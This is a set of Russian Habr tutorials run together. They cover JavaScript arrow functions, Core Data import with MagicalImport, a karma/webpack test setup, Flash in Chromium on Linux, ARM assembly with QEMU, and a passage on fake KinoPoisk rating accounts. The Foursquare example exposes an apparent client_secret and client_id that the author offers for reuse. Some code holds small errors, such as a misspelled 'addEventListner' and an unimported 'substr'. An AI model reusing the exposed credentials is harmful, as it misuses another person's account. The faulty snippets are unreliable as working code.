*\* фраза-мем из игры Skyrim*
Если вы до сих пор не используете стрелочные функции, то не вините себя — это задача ваших родителей, вместо этого подумайте о преимуществах, которые вы можете получить применяя их, как прилежный ученик. Сегодня весь мой код написан с применением стрелочных функций.
Это пример того же кода, написанного также и в традиционном стиле:
```
const arrowFunction = (arg1, arg2) => arg1 + arg2;
const traditionalFunction = function(arg1, arg2) {
return arg1 + arg2;
};
```
Вы можете заметить, что код гораздо короче, когда написан с использованием стрелочной функции. Все, что написано до стрелки — аргументы, после стрелки — возвращаемый результат.
Если вам нужна функция, которая содержит несколько действий, вы можете записать её в такой форме:
```
const arrowFunction = (arg1, arg2) => {
const result = arg1 + arg2;
return result;
};
```
Стрелочные функции также часто называют лямбда-функциями и они используются не только в JavaScript. Язык Python может послужить хорошим примером где также встречаются лямбда-функции.
В Python их синтаксис выглядит следующим образом:
```
lambdaFunction = lambda a, b : a + b
```
### Упрощай
Использование стрелочных функций мотивирует вас упрощать код в соответствии с KISS принципом (Keep-it-simple-stupid) и принципом единственной ответственности (каждая функция отвечает только за одно конкретное действие).
В целом, я пишу их без фигурных скобок {}. Если функцию тяжело читать или в ней нужно применить несколько выражений, советую разбить ее на несколько более мелких.
Данный код проще в написании, удобнее в повторном использовании и тестировании. Также, функции могут получать более описательные имена, чтобы точно показать работу, которую они выполняют.
### Функции первого класса
В JavaScript присутствуют функции первого класса. Это такие функции, которые используются, как обычные переменные. Они могут выступать аргументами для других функций или возвращать их в качестве результата. Пример, с которым вы, скорее всего, знакомы:
```
document.querySelector('#myButton').addEventListner('click', function() {
alert('click happened');
});
```
Здесь показана анонимная функция, переданная как аргумент в addEventListener. Данный метод часто применяется в Javascript для колбэков.
Пример возвращения функции другой — представлен ниже:
```
const myFirstClassFunction = function(a) {
return function(b) {
return a + b;
};
};
myFirstClassFunction(1)(2); // => 3
```
Однако, со стрелочной функцией, все выглядит гораздо “чище”:
```
const myFirstClassArrow = a => b => a + b;
myFirstClassArrow(1)(2); // => 3
```
Здесь все просто: то, что написано до последней стрелки — аргументы, а после нее — вычисление. По факту, мы работаем с несколькими функциями, а также мы можем использовать несколько вызовов fn(call1)(call2);
### Частичное применение
Вы можете начать использовать стрелочные функции для составления из них, как из кубиков лего, частично применяемых функций. Это позволит вам создавать специальные функции, передавая в них определенные аргументы. Давайте разберем это в примере ниже:
```
const add = a => b => a + b;
const increaseCounter = counter => add(1)(counter);
increaseCounter(5); // => 6
const pointFreeIncreaseCounter = add(1);
pointFreeIncreaseCounter(5); // => 6
```
Это похоже на использование функций с переменными по умолчанию, но частичное применение дает больше гибкости.
Данные функции называют каррированными. Они представляют собой последовательность унарных функций и монад, которые являются типичными в функциональном программировании.
### Функциональное программирование
Как вы могли уже догадаться, основная причина появления стрелочных функций это функциональное программирование. Это парадигма декларативного стиля, основанная на композиции простых функций.
Функциональное программирование это альтернатива ООП, которое предпочитают многие разработчики (включая автора статьи). Вы можете привести аргументы в защиту любого стиля, но я считаю — функциональное программирование — крутая штука и вам должно становиться не по себе от одной только мысли, что вы когда-то думали по-другому.
Чистые функции полагаются только на входные данные и всегда возвращают какое-то значение. Они никогда не изменяют (мутируют) другие переменные и не зависят внешних данных, за пределами входных значений. Это приводит к ссылочной прозрачности, которая упрощает программирование.
И да, всегда есть возможность писать огромное количество кода, не изменяя ни одной переменной.
Как вы могли заметить, стрелочные функции призваны трансформировать данные между входом и выходом. Им даже не нужно возвращать выражение в короткой записи без фигурных скобок.
### Стрелочные функции — заключение
Функции-стрелки делают ваш синтаксис короче, уменьшая время написания, чтения и тестирование кода, упрощая его. Подумайте об этом, ведь скорее всего вы являетесь продвинутым разработчиком, а применение данных советов сделает вас более продвинутым и повысит вашу востребованность. Функциональное программирование это действительно круто. Оно превращает вас в художника, который составляет из кода элегантные короткие функции.
### Реальный функциональный пример
Чтобы понять, что же скрывается в кроличьей норе, давайте взглянем на пример использования open-source библиотеки @7urtle/lambda
```
import {trim, upperCaseOf, lengthOf, lastLetterOf, includes, compose} from '@7urtle/lambda';
const endsWithPunctuation = input =>
includes(lastLetterOf(input))('.?,!');
const replacePunctuationWithExclamation = input =>
substr(lengthOf(input) - 1)(0)(input) + '!';
const addExclamationMark = input =>
endsWithPunctuation(input)
? replacePunctuationWithExclamation(input)
: input + '!';
const shout = compose(addExclamationMark, upperCaseOf, trim);
shout(" Don't forget to feed the turtle.");
// => НЕ ЗАБУДЬ ПОКОРМИТЬ ЧЕРЕПАХУ!
```
Использование стрелочных функций и изучение функционального программирования очень затягивает. Это позволяет писать короткий код с лучшей производительностью и возможностью переиспользования.
JavaScript может быть сложным в его непоследовательности между использованием Си-подобного синтаксиса и особенностей функционального программирования. Чтобы помочь людям лучше разобраться и предоставить доступ к материалам для изучения, я разработал библиотеку @7urtle/lambda. Вы можете освоить функциональное программирование в своем ритме и сайт [www.7urtle.com](http://www.7urtle.com) поможет вам изучить данную парадигму, предоставив вам все необходимые инструменты. | https://habr.com/ru/post/529232/ | null | ru | null |
# Core Data: импорт данных с минимумом кода
Как и многие разработчики, я не очень люблю писать много кода, особенно там, где это кажется не нужным — на ранних стадиях стараюсь придумать, как этот код оптимизировать и обобщить. Что касается непосредственно Core Data, мне всегда казалось, что все эти бесконечные фетчи и создания новых объектов можно упростить. Тогда я открыл для себя часто упоминаемый на хабре паттерн [ActiveRecord](http://ru.wikipedia.org/wiki/ActiveRecord) и его очень хорошую (на мой взгляд) реализацию на Objective-C — [MagicalRecord](https://github.com/magicalpanda/magicalrecord). Углубляться в описание не буду — все очень доступно описано на странице проекта.
Следующим шагом упрощения должен был быть маппинг данных, поступающих извне.
Для себя решил эту проблему в лоб и долгое время так и работал. Каждый ManagedObject-наследник содержал в себе следующий метод, который парсит входящий JSON-словарь:
```
- (void)mapPropertiesFrom:(NSDictionary *)dictonary {
self.identifier = [NSNumber numberWithInt:[[dictonary objectForKey:@"id"] intValue]];
self.privacy = [NSNumber numberWithInt:[[dictonary objectForKey:@"public"] intValue]];
self.author = [KWUser findFirstByAttribute:@"profileId" withValue:[dictonary objectForKey:@"profile"]];
self.profileId = [NSNumber numberWithInt:[[dictonary objectForKey:@"profile"] intValue]];
self.latitude = [NSNumber numberWithDouble:[[dictonary objectForKey:@"lat"] doubleValue]];
self.longitude = [NSNumber numberWithDouble:[[dictonary objectForKey:@"lon"] doubleValue]];
self.text = [dictonary objectForKey:@"text"];
self.category = [dictonary objectForKey:@"category"];
self.firstName = [dictonary objectForKey:@"firstname"];
self.lastName = [dictonary objectForKey:@"lastname"];
}
```
Очевидно, что таких объектов достаточно много, к тому же в них есть еще и отношения. Первая мысль, которая приходит на ум — перебирать атрибуты и отношения в рантайме и сохранять результат в объекты. К ~~сожалению~~, радости, я не люблю изобретать велосипеды и недавно наткнулся на очень интересную реализацию данного подхода.
#### Magical Import
MagicalImport представляет собой набор категорий, которые расширяют функционал MagicalRecord и позволяют настроить маппинг JSON-объектов непосредственно в Core Data, при этом написание кода сведено к неприличному минимуму. Я не буду углубляться в подробности реализации и цели которые перед собой ставили разработчики, про все это хорошо написано вот [тут](http://www.cimgf.com/2012/05/29/importing-data-made-easy/). Остановимся на конкретном примере.
#### Получение данных
Возьмем для примера простенький запрос к Forsquare API, который будет возвращать нам список объектов поблизости от Эйфелевой башни.
URL запроса:
`api.foursquare.com/v2/venues/search?v=20120602≪=48.858%2C2.2944&client_secret=ILG5POWGBRBZDXLNPAGECAZOBC0KFPQAQ5SYOP51KFYANZ1B&client_id=HDEHROGPMARZ2O1JTK55VHXE4TTNGE0NQR4DBCKHFZULURJV>`
Для получения респонса я использовал AFNetworking. Класс-обертка для API:
```
+ (LDFourSquareAPIClient *)sharedClient {
static LDFourSquareAPIClient *_sharedClient = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
_sharedClient = [[LDFourSquareAPIClient alloc] initWithBaseURL:[NSURL URLWithString:kBaseURL]];
});
return _sharedClient;
}
- (id)initWithBaseURL:(NSURL *)url {
if (self = [super initWithBaseURL:url]) {
[self registerHTTPOperationClass:[AFJSONRequestOperation class]];
[self setDefaultHeader:@"Accept" value:@"application/json"];
}
return self;
}
```
Сформируем параметры запроса
```
NSString *latLon = @"48.858,2.2944";
NSString *clientID = [NSString stringWithUTF8String:kCLIENTID];
NSString *clientSecret = [NSString stringWithUTF8String:kCLIENTSECRET];
NSDictionary *queryParams;
queryParams = [NSDictionary dictionaryWithObjectsAndKeys:latLon, @"ll", clientID, @"client_id", clientSecret, @"client_secret", @"20120602", @"v", nil];
```
*kCLIENTID* и *kCLIENTSECRET* — ключи для авторизации. Можно зарагистрировать свое приложение, можно использовать мои.
Запрос к серверу и получение данных выглядит так:
```
[[LDFourSquareAPIClient sharedClient] getPath:@"v2/venues/search" parameters:queryParams success:^(AFHTTPRequestOperation *operation, id responseObject) {
NSArray *venues = [[responseObject objectForKey:@"response"] objectForKey:@"venues"];
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
}];
```
Массив venues будет содержать список мест, которые мы и будем мапить в нашу модель данных. JSON-объект venue:
```
categories = (
{
icon = {
name = ".png";
prefix = "https://foursquare.com/img/categories/building/default_";
sizes = (
32,
44,
64,
88,
256
);
};
id = 4bf58dd8d48988d12d941735;
name = "Monument / Landmark";
pluralName = "Monuments / Landmarks";
primary = 1;
shortName = Landmark;
}
);
contact = {
formattedPhone = "+33 892 70 12 39";
phone = "+33892701239";
};
hereNow = {
count = 3;
groups = (
{
count = 3;
items = (
);
name = "Other people here";
type = others;
}
);
};
id = 4adcda09f964a520dd3321e3;
likes = {
count = 0;
groups = (
);
};
location = {
address = "Parc du Champ de Mars";
city = Paris;
country = France;
crossStreet = "5 av. Anatole France";
distance = 42;
lat = "48.85836229464931";
lng = "2.2945761680603027";
postalCode = 75007;
state = "\U00cele de France";
};
name = "Tour Eiffel";
specials = {
count = 0;
items = (
);
};
stats = {
checkinsCount = 31211;
tipCount = 430;
usersCount = 22307;
};
url = "http://www.tour-eiffel.fr";
verified = 0;
}
```
#### Data Model
Модель данных в данном примере состоит из двух объектов — Venue и Location и отношения one-to-one между ними.
#### Data Import
Если JSON-ответ сервиса 'идеальный' и его модель полностью соответствует модели нашей базы, то для того, чтобы сделать импорт, необходимо добавить следующий код в completion блоке:
```
self.data = [Venue MR_importFromArray:venues];
```
для импорта всего массива данных, или
```
Venue *myVenue = [Venue MR_importFromObject:[venues objectAtIndex:0]];
```
для создания одного объекта.
Сразу оговорюсь, что **MR\_importFromArray** почему-то не работает([тикет](https://github.com/magicalpanda/MagicalRecord/issues/180) на github) поэтому для импорта я использовал следующий код:
```
NSMutableArray *arr = [NSMutableArray array];
for (NSDictionary *venueDict in venues) {
[arr addObject:[Venue MR_importFromObject:venueDict]];
}
self.data = arr;
```
К несчастью, ответы сервера не всегда нас радуют своей аккуратностью и название объектов и отношений зачастую не соответсвуют модели. Здесь на помощь приходит словарь UserInfo, который имеется у каждой сущности, атрибута или отношения. Он позволяет сконфигурировать маппинг для каждого из этих объектов.
Для перенастройки маппинга атрибута, необходимо добавить в этот словарь пару 'mappedKeyName' — 'название атрибута из JSON':
Также, этот маппинг поддерживает KVC, что очень полезно, если нет желания создавать вложеные сущности в модели (избавляемся от сущности Stats, получаем доступ к количеству чекинов):
Каждый объект в модели должен иметь нечто вроде primaryKey: MagicalImport будет искать атрибут с именем objectNameID либо мы можем указать такой атрибут сами в UserInfo (на примере отношения между Location и Venue):
Прошу прощения за использования lat как 'primary key', естественно это было сделано только ради примера.
#### Import сallbacks
Механизм импорта предоставляет коллбэки, которые могут быть использованы для проверки/правки обрабатываемых данных (реализуются внутри сабклассов NSManagedObject):
* willImport:
* didImport:
* shouldImport'relationshipName'(id)data:
Для примера реализуем проверку, исходя из которой будет устанавливать отношения только с теми объектами Location, которые содержат адрес:
```
- (BOOL)shouldImportLocation:(id)location {
NSString *address = [location objectForKey:@"address"];
return address ? YES : NO;
}
```
#### Заключение
Рассмотреный пример является тривиальным и поэтому не позволяет ознакомиться со всеми тонкостями MagicalImport (как и тот факт, что документации по нему пока еще нет), но как мне кажется, позволяет ощутить те плюсы, ради которых он и задумывался: отсутствие лишнего кода и гибкость реализации при импорте данных.
Тестовый проект можно найти [здесь](https://github.com/garnett/MagicalDataImportExample). (Для подключения MagicalRecord и AFNetworking был использован [CocoaPods](http://cocoapods.org/)). | https://habr.com/ru/post/145718/ | null | ru | null |
# Тестирование JS. Кармический Webpack
Привет!
Пару месяцев назад я писал пост, о том как научить [webpack для spa](https://habrahabr.ru/post/265801/).
С того момента инструмент шагнул вперед и оброс дополнительным количеством плагинов, а так же примерами конфигураций.
В этой статье хочу поделиться опытом смешивания гремучей смеси webpack + jasmine + chai + karma.
В лучшей, по-моему мнению, книге про автоматизированное тестирование *Christian Johansen - Test-Driven JavaScript Development* – обозначены проблемы, с которыми разработчик сталкивается при написании кода без тестов:
– Код написан, но поведение не доступно в браузере (пример .bind() и IE 8);
– Имплементация изменена, но совокупность компонентов приводит к ошибочному или не рабочему функционалу;
– Новый код написан, нужно позаботиться о поведении со старыми интерфейсами.
Опираясь на опыт, скажу.
Программисты, избравшие путь самурая **TDD** *(Test-driven development ),* тратят много времени на покрытие кода тестами. В итоге остаются в выигрыше на этапе тестирования и отлавливания багов.
### Глоссарий
– **Webpack** — модульный сборщик ассетов;
– **Karma** — test-runner для JavaScript;
– **Jasmine** — инструмент для определения тестов в стиле BDD;
– **Chai** — библиотека для проверки условий, *expect*, *assert*, *should;*
### Установка пакетов
Для начала, приведу список пакетов, которые дополнительно устанавливаем в проект. Для этого воспользуемся [npm](https://npmjs.com).
```
#tools
npm i chai mocha phantomjs-prebuilt --save-dev
#karma packages #1
npm i karma karma-chai karma-coverage karma-jasmine --save-dev
#karma packages #2
npm i karma-mocha karma-mocha-reporter karma-phantomjs-launcher --save-dev
#karma packages #3
npm i karma-sourcemap-loader karma-webpack --save-dev
```
Идем дальше.
### Настройка окружения
После установки дополнительных пакетов, настраиваем конфигурацию karma. Для этого в корне проекта создадим файл karma.conf.js
```
touch karma.conf.js
```
Со следующим содержанием:
```
// karma.conf.js
var webpackConfig = require('testing.webpack.js');
module.exports=function(config) {
config.set({
// конфигурация репортов о покрытии кода тестами
coverageReporter: {
dir:'tmp/coverage/',
reporters: [
{ type:'html', subdir: 'report-html' },
{ type:'lcov', subdir: 'report-lcov' }
],
instrumenterOptions: {
istanbul: { noCompact:true }
}
},
// spec файлы, условимся называть по маске **_*.spec.js_**
files: [
'app/**/*.spec.js'
],
frameworks: [ 'chai', 'jasmine' ],
// репортеры необходимы для наглядного отображения результатов
reporters: ['mocha', 'coverage'],
preprocessors: {
'app/**/*.spec.js': ['webpack', 'sourcemap']
},
plugins: [
'karma-jasmine', 'karma-mocha',
'karma-chai', 'karma-coverage',
'karma-webpack', 'karma-phantomjs-launcher',
'karma-mocha-reporter', 'karma-sourcemap-loader'
],
// передаем конфигурацию webpack
webpack: webpackConfig,
webpackMiddleware: {
noInfo:true
}
});
};
```
Конфигурирование webpack:
```
// testing.webpack.js
'use strict';
// Depends
var path = require('path');
var webpack = require('webpack');
module.exports = function(_path) {
var rootAssetPath = './app/assets';
return {
cache: true,
devtool: 'inline-source-map',
resolve: {
extensions: ['', '.js', '.jsx'],
modulesDirectories: ['node_modules']
},
module: {
preLoaders: [
{
test: /.spec\.js$/,
include: /app/,
exclude: /(bower_components|node_modules)/,
loader: 'babel-loader',
query: {
presets: ['es2015'],
cacheDirectory: true,
}
},
{
test: /\.js?$/,
include: /app/,
exclude: /(node_modules|__tests__)/,
loader: 'babel-istanbul',
query: {
cacheDirectory: true,
},
},
],
loaders: [
// es6 loader
{
include: path.join(_path, 'app'),
loader: 'babel-loader',
exclude: /(node_modules|__tests__)/,
query: {
presets: ['es2015'],
cacheDirectory: true,
}
},
// jade templates
{ test: /\.jade$/, loader: 'jade-loader' },
// stylus loader
{ test: /\.styl$/, loader: 'style!css!stylus' },
// external files loader
{
test: /\.(png|ico|jpg|jpeg|gif|svg|ttf|eot|woff|woff2)$/i,
loader: 'file',
query: {
context: rootAssetPath,
name: '[path][hash].[name].[ext]'
}
}
],
},
};
};
```
Мы готовы к написанию и запуску первого теста.
### Определение spec файлов
Опыт показывает, что спеки *(от англ spec — specification)* удобнее хранить в тех же папках, что и тестируемые компоненты. Хотя, конечно же, Вы сами строите архитектуру своего приложения. В примере ниже, Вы встретите единственный для ознакомительной статьи пример теста, который расположен в директории *****tests***** модуля ***boilerplate***.
Такое именование директорий дает позитивный отклик от новых разработчиков, желающих ознакомиться с функционалом модуля или компонента.
**TL;DR** открывая проект, мы видим папку со спецификациями, расположенную на первом месте за счет строковой сортировки.
### Запуск
Тут ничего нового.
Для старта я использую встроенный функционал npm секции scripts.
Ровно так же как и для dev-server и "боевой" сборки функционала.
В package.json объявляем следующие команды:
```
"scripts": {
...
"test:single": "rm -rf tmp/ && karma start karma.conf.js --single-run --browsers PhantomJS",
"test:watch": "karma start karma.conf.js --browsers PhantomJS"
...
}
```
Чтобы запустить тесты в режиме "обновляй при изменении", в корне проекта набираем команду:
```
npm run test:watch
```
Для разового запуска:
```
npm run test:single
```
### Первый тест
Для примера, предлагаю рассмотреть нетривиальную с точки зрения unit тестирования задачу. Обработка результата работы Backbone.View.
Ничего страшного, если первый тест выглядит формальностью.
Рассмотрим код View:
```
// view.js
module.exports = Backbone.View.extend({
className: 'example',
tagName: 'header',
template: require('./templates/hello.jade'),
initialize: function($el) {
this.$el = $el;
this.render();
},
render: function() {
this.$el.prepend(this.template());
}
});
```
Ожидается, что при создании экземпляра View, будет вызвана функция render(). Результатом которой станет html – декларированный в шаблоне *hello.jade*
Пример формального теста покрывающего функционал:
```
// boilerplate.spec.js
'use strict';
const $ = require('jquery');
const Module = require('_modules/boilerplate');
describe('App.modules.boilerplate', function() {
// подготовим переменные для использования
let $el = $('', { class: 'test-div' });
let Instance = new Module($el);
// формальная проверка на тип возвращаемой переменной
it('Should be an function', function() {
expect(Module).to.be.an('function');
});
// после применения new на функции конструкторе - получим объект
it('Instance should be an object', function() {
expect(Instance).to.be.an('object');
});
// инстанс должен содержать el и $el свойства
it('Instance should contains few el and $el properties', function() {
expect(Instance).to.have.property('el');
expect(Instance).to.have.property('$el');
});
// а так же ожидаем определенной функции render()
it('Instance should contains render() function', function() {
expect(Instance).to.have.property('render').an('function');
});
// $el должен содержать dom element
it('parent $el should contain rendered module', function() {
expect($el.find('#fullpage')).to.be.an('object');
});
});
```
Запускаем тестирование и наблюдаем за результатом.
В дополнении ко всему, директория **tmp/coverage/html-report/** будет содержать отчет о покрытии кода:
### Вывод
Тесты, даже в таком формальном виде, избавят нас от обязательств перед собой.
Применив достаточную изобретательность в их декларации, мы можем уберечь себя и коллег от головной боли.
В заключении, представьте то количество времени, которое мы ежедневно тратим на каждую итерацию: "изменил – сохранил – обновил браузер – увидел результат".
Очевидное рядом. Тестирование – полезный инструмент на страже Вашего времени.
### Пример
Смотрите по этой ссылке [webpack-boilerplate](https://github.com/rambler-digital-solutions/rambler-webpack-boilerplate)
Спасибо, что прочитали. | https://habr.com/ru/post/278503/ | null | ru | null |
# Поддержка флеша в Chromium под Linux
На Ubuntu Forums [появилась информация](http://ubuntuforums.org/showthread.php?t=1207863) о том, что Chromium научился цеплять Adobe Flash Plugin. Для установки достаточно сделать символическую ссылку на установленную библиотеку:
`$ cd /usr/lib/chromium-browser/plugins
$ sudo ln -s /usr/lib/firefox/plugins/flashplugin-alternative.so`
Чтобы это все заработало в последнем билде, для запуска браузера (спасибо, [SerJook](https://habrahabr.ru/users/serjook/)!) используйте
`$ chromium-browser --enable-plugins`
На данный момент нормально работают и звук, и видео.
Скриншот:
[](http://www.ljplus.ru/img4/j/u/junas/chromium-ubuntu-youtube.png) | https://habr.com/ru/post/64560/ | null | ru | null |
# ARM аccемблер
Привет всем!
По роду деятельности я программист на Java. Последние месяцы работы заставили меня познакомиться с разработкой под Android NDK и соответственно написание нативных приложений на С. Тут я столкнулся с проблемой оптимизации Linux библиотек. Многие оказались абсолютно не оптимизированы под ARM и сильно нагружали процессор. Ранее я практически не программировал на ассемблере, поэтому сначала было сложно начать изучать этот язык, но все же я решил попробовать. Эта статья написана, так сказать, от новичка для новичков. Я постараюсь описать те основы, которые уже изучил, надеюсь кого-то это заинтересует. Кроме того, буду рад конструктивной критике со стороны профессионалов.
##### Введение
Итак, для начала разберёмся что же такое ARM. Википедия дает такое определение:
Архитектура ARM (Advanced RISC Machine, Acorn RISC Machine, усовершенствованная RISC-машина) — семейство лицензируемых 32-битных и 64-битных микропроцессорных ядер разработки компании ARM Limited. Компания занимается исключительно разработкой ядер и инструментов для них (компиляторы, средства отладки и т. п.), зарабатывая на лицензировании архитектуры сторонним производителям.
Если кто не знает, сейчас большая часть мобильных устройств, планшетов разработаны именно на этой архитектуре процессоров. Основным преимуществом данного семейства является низкое энергопотребление, благодаря чему он часто используется в различных встроенных системах. Архитектура развивалась с течением времени, и начиная с ARMv7 были определены 3 профиля: ‘A’(application) — приложения, ‘R’(real time) — в реальном времени,’M’(microcontroller) — микроконтроллер. Историю разработки этой технологии и другие интересный данные вы можете прочитать в Википедии или погуглив в интернете. ARM поддерживает разные режимы работы (Thumb и ARM, кроме того в последние время появился Thumb-2, являющийся смесью ARM и Thumb). В данной статье рассмотрим собственно режим ARM, в котором исполняется 32-битный набор команд.
Каждый ARM процессор создан из следующих блоков:
* 37 регистров (из которых видимых при разработке только 17)
* Арифметико-логи́ческое устройство (АЛУ) — выполняет арифметические и логические задачи
* Barrel shifter — устройство, созданное для перемещения блоков данных на определенное количество бит
* The CP15 — специальная система, контроллирующая ARM сопроцессоры
* Декодер инструкций — занимается преобразованием инструкции в последовательность микроопераций
Это не все составляющие ARM, но углубление в дебри построения процессоров не входит в тему данной статьи.
##### Конвейерное исполнение (Pipeline execution)
В ARM процессорах используется 3-стадийный конвейер (начиная с ARM8 был реализова 5-стадийный конвейер). Рассмотрим простой конвейер на примере процессора ARM7TDMI. Исполнение каждой инструкции состоит из трёх ступеней:
1. Этап выборки (F)
На этом этапе инструкции поступают из ОЗУ в конвейер процессора.
2. Этап декодирования (D)
Инструкции декодируются и распознаётся их тип.
3. Этап исполнения (E)
Данные поступают в ALU и исполняются и полученное значение записывается в заданный регистр.
Но при разработке надо учитывать, что, есть инструкции, которые используют несколько циклов исполнения, например, load(LDR) или store. В таком случае этап исполнения (E) разделяется на этапы (E1, E2, E3...).
##### Условное выполнение
Одна из важнейших функций ARM ассемблера — условное выполнение. Каждая инструкция может исполняться условно и для этого используются суффиксы. Если суффикс добавляется к названию инструкции, то прежде чем выполнить ее, происходит проверка параметров. Если параметры не соответствуют условию, то инструкция не выполняется. Суффиксы:
MI — отрицательное число
PL — положительное или ноль
AL — выполнять инструкцию всегда
Суффиксов условного выполнения намного больше. Остальные суффиксы и примеры прочитать в официальной документации: [ARM документация](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473c/BABCFGJC.html)
А теперь пришло время рассмотреть…
##### Основы синтаксиса ARM ассемблера
Тем, кто раньше работал с ассемблером этот пункт можно фактически пропустить. Для всех остальных опишу основы работы с этим языком. Итак, каждая программа на ассемблере состоит из инструкций. Инструкция создаётся таким образом:
{метка} {инструкция|операнды} {@ комментарий}
Метка — необязательный параметр. Инструкция — непосредственно мнемоника инструкции процессору. Основные инструкции и их использование будет разобрано далее. Операнды — константы, адреса регистров, адреса в оперативной памяти. Комментарий — необязательный параметр, который не влияет на исполнение программы.
###### Имена регистров
Разрешены следующие имена регистров:
1.r0-r15
2.a1-a4
3.v1-v8 (переменные регистры, с r4 по r11)
4.sb and SB (статический регистр, r9)
5.sl and SL (r10)
6.fp and FP (r11)
7.ip and IP (r12)
8.sp and SP (r13)
9.lr and LR (r14)
10.pc and PC (программный счетчик, r15).
##### Переменные и костанты
В ARM ассемблере, как и любом (практически) другом языке программирования могут использоваться переменные и константы. Они разделяются на такие типы:
* Числовые
* Логические
* Строковые
Числовые переменные инициализируются так:
a SETA 100; создается числовая переменная «a» с значением 100.
Строковые переменные:
improb SETS «literal»; создается переменная improb с значение «literal». ВНИМАНИЕ! Значение переменной не может превышать 5120 символов.
В логических переменных соответственно используются значения TRUE и FALSE.
##### Примеры инструкций ARM ассемблера
В данной таблице я собрал основные инструкции, которая потребуется для дальнейшей разработки (на самом базовом этапе:):
| | | |
| --- | --- | --- |
| Название | Синтаксис | Применение |
| ADD (добавление) | ADD r0, r1, r2 | r0 = r1 + r2 |
| SUB (вычитание) | SUB r0, r1, r2 | r0 = r1 — r2 |
| RSB (обратное вычитание) | RSB r0, r1, #10 | r0 = 10 — r1 |
| MUL (умножение) | MUL r0, r1, r2 | r0 = r1 \* r2 |
| MOV | MOV r0, r1 | r0 = r1 |
| ORR( логическая операция) | ORR r0, r1, r2 | r0 = r1 | r2 |
| TEQ | TEQ r0, r1 | r0 == r1 |
| LDR (загрузка) | LDR r4, [r5] | r4 = \*r5 |
| STR | STR r4, [r5] | \*r5 = r4 |
| ADR | ADR r3, a | a — переменная. r3 = &a |
Чтобы закрепить использование основных инструкций давайте напишем несколько простых примеров, но сначала нам понадобится arm toolchain. Я работаю в Linux поэтому выбрал: [frank.harvard.edu/~coldwell/toolchain](http://frank.harvard.edu/~coldwell/toolchain/) (arm-unknown-linux-gnu toolchain). Ставится он проще простого, как и любая другая программа на Linux. В моем случае (Russian Fedora) понадобилось только установить rpm пакеты с сайта.
Теперь пришло время написать простейший пример. Программа будет абсолютно бесполезной, но главное, что будет работать:) Вот код, который я вам предлагаю:
```
start: @ Необязательная строка, обозначающая начало программы
mov r0, #3 @ Грузим в регистр r0 значение 3
mov r1, #2 @ Делаем тоже самое с регистром r1, только теперь с значением 2
add r2, r1, r0 @ Складываем значения r0 и r1, ответ записываем в r2
mul r3, r1, r0 @ Умножаем значение регистра r1 на значение регистра r0, ответ записываем в r3
stop: b stop @ Строка завершения программы
```
Компилируем программу до получения .bin файла:
```
/usr/arm/bin/arm-unknown-linux-gnu-as -o arm.o arm.s
/usr/arm/bin/arm-unknown-linux-gnu-ld -Ttext=0x0 -o arm.elf arm.o
/usr/arm/bin/arm-unknown-linux-gnu-objcopy -O binary arm.elf arm.bin
```
(код в файле arm.s, а toolchain в моем случае лежит в директории /usr/arm/bin/)
Если все прошло успешно, у вас будет 3 файла: arm.s (собственно код), arm.o, arm.elf, arm.bin (собственно исполняемая программа). Для того, чтобы проверить работу программы не обязательно иметь собственное arm устройство. Достаточно установить QEMU. Для справки:
> QEMU — свободная программа с открытым исходным кодом для эмуляции аппаратного обеспечения различных платформ.
>
>
>
> Включает в себя эмуляцию процессоров Intel x86 и устройств ввода-вывода. Может эмулировать 80386, 80486, Pentium, Pentium Pro, AMD64 и другие x86-совместимые процессоры; PowerPC, ARM, MIPS, SPARC, SPARC64, m68k — лишь частично.
>
>
>
> Работает на Syllable, FreeBSD, FreeDOS, Linux, Windows 9x, Windows 2000, Mac OS X, QNX, Android и др.
>
>
Итак, для эмуляции arm понадобится qemu-system-arm. Этот пакет есть в yum, так что тем, у кого Fedora, можно не заморачиваться и просто выполнить комманду:
yum install qemu-system-arm
Далее надо запустить эмулятор ARM, так, чтобы он выполнил нашу программу arm.bin. Для этого создадим файл flash.bin, который будет флэш памятью для QEMU. Сделать это очень просто:
```
dd if=/dev/zero of=flash.bin bs=4096 count=4096
dd if=arm.bin of=flash.bin bs=4096 conv=notrunc
```
Теперь грузим QEMU с полученой flash памятью:
```
qemu-system-arm -M connex -pflash flash.bin -nographic -serial /dev/null
```
На выходе вы получите что-то вроде этого:
[anton@localhost ~]$ qemu-system-arm -M connex -pflash flash.bin -nographic -serial /dev/null
QEMU 0.15.1 monitor — type 'help' for more information
(qemu)
Наша программа arm.bin должна была изменить значения четырех регистров, следовательно для проверки правильности работы давайте посмотрим на эти самые регистры. Делается это очень простой коммандой: info registers
На выходе вы увидите все 15 ARM регистров, при чем у четырех из них будут измененные значения. Проверьте:) Значения регистров совпадают с теми, которые можно ожидать после исполнения программы:
```
(qemu) info registers
R00=00000003 R01=00000002 R02=00000005 R03=00000006
R04=00000000 R05=00000000 R06=00000000 R07=00000000
R08=00000000 R09=00000000 R10=00000000 R11=00000000
R12=00000000 R13=00000000 R14=00000000 R15=00000010
PSR=400001d3 -Z-- A svc32
```
P.S. В этой статье я постарался описать основы программирования на ARM ассемблер. Надеюсь вам понравилось! Этого хватит для того, чтобы далее углубляться в дебри этого языка и писать на нем программы. Если все получится, буду писать дальше о том, что узнаю сам. Если есть ошибки, прошу не пинать, так как я новичок в ассемблере. | https://habr.com/ru/post/133808/ | null | ru | null |
# Накрутки на КиноПоиске, посмотрим на аккаунты поближе
По мотивам последних новостей о взломе аккаунтов на КП захотелось побаловаться со статистикой оценок, которую можно частично подсмотреть на сайте.
Примечательно, что уже 18 сентября, в интернете писали, что другим фильмам, выходящим 28 сентября скручивают рейтинг, но КП долго тупил, хотя все аккаунты занижающие рейтинги там были новореги, примерно по две недели. Эти пользователи ставили 2-3 рандомных оценки при регистрации и ещё 2-3 в момент скрутки рейтинга (Притом, что первые три были 5-10, а вторые 3-4-5, т.е. совсем палевно). Я думаю с этих же аккаунтов и накрутили рейтинг ожиданий, другому фильму, который пока не будем называть. Почему их нельзя было подчистить до 28го — загадка, на форуме КП, пару раз в сутки трут по странице комментов на тему…
